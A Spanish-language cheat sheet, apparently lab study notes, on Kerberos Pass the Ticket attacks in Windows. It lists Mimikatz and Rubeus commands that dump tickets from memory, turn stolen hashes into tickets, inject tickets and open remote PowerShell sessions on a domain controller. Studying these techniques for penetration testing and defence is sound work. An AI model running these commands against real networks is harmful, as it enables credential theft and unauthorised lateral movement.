Pass the Ticket (PtT) (Windows)

Kerberos es un protocolo de autenticación basado en tickets
  • TGT (Ticket Granting Ticket): Te permite solicitar más tickets sin volver a exponer tu password.
  • TGS (Ticket Granting Service): Ticket específico para un servicio (MSSQL, CIFS, LDAP, etc.).

Pass the Ticket (PtT)

Reutilizar tickets Kerberos (TGT o TGS) en lugar de la contraseña (o del hash NTLM). Si conseguimos un ticket (exportándolo con Mimikatz o Rubeus), podemos inyectarlo en nuestra sesión para suplantar a ese usuario.

Obtener Tickets En Windows

Mimikatz

txt
privilege::debug
sekurlsa::tickets /export
Guarda los tickets (.kirbi) en el directorio actual.

Rubeus

txt
Rubeus.exe dump /nowrap
Muestra los tickets en Base64. Requiere privilegios elevados.

Pass the Key (OverPass the Hash)

Convertir el hash de Kerberos (RC4-HMAC, AES256...) en un TGT.
txt
# Mimikatz
sekurlsa::pth /domain:... /user:... /ntlm:<hash>
# Rubeus
asktgt /domain:... /user:... /aes256:<hash> /ptt

Importar Ticket = Pass the Ticket (PtT)

txt
# Mimikatz
kerberos::ptt "C:\ruta\ticket.kirbi"
# Rubeus
Rubeus.exe ptt /ticket:archivo.kirbi
Rubeus.exe ptt /ticket:<Base64>
Una vez inyectado, podemos navegar por recursos (dir \\DC01\c$) sin credenciales explícitas, usar PowerShell Remoting, etc.

PowerShell Remoting con PtT

powershell
Enter-PSSession -ComputerName <Host>
  • kerberos::ptt "...\john@krbtgt-HTB.kirbi"
  • Enter-PSSession -ComputerName DC01
  • whoami → inlanefreight\john
Requiere permisos para PS Remoting (Remote Management Users o admin local).

Sacrificial Process con Rubeus

txt
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
Crea un proceso (logon tipo 9) sin credenciales reales; luego inyectas un TGT con asktgt /ptt sin afectar tu sesión principal.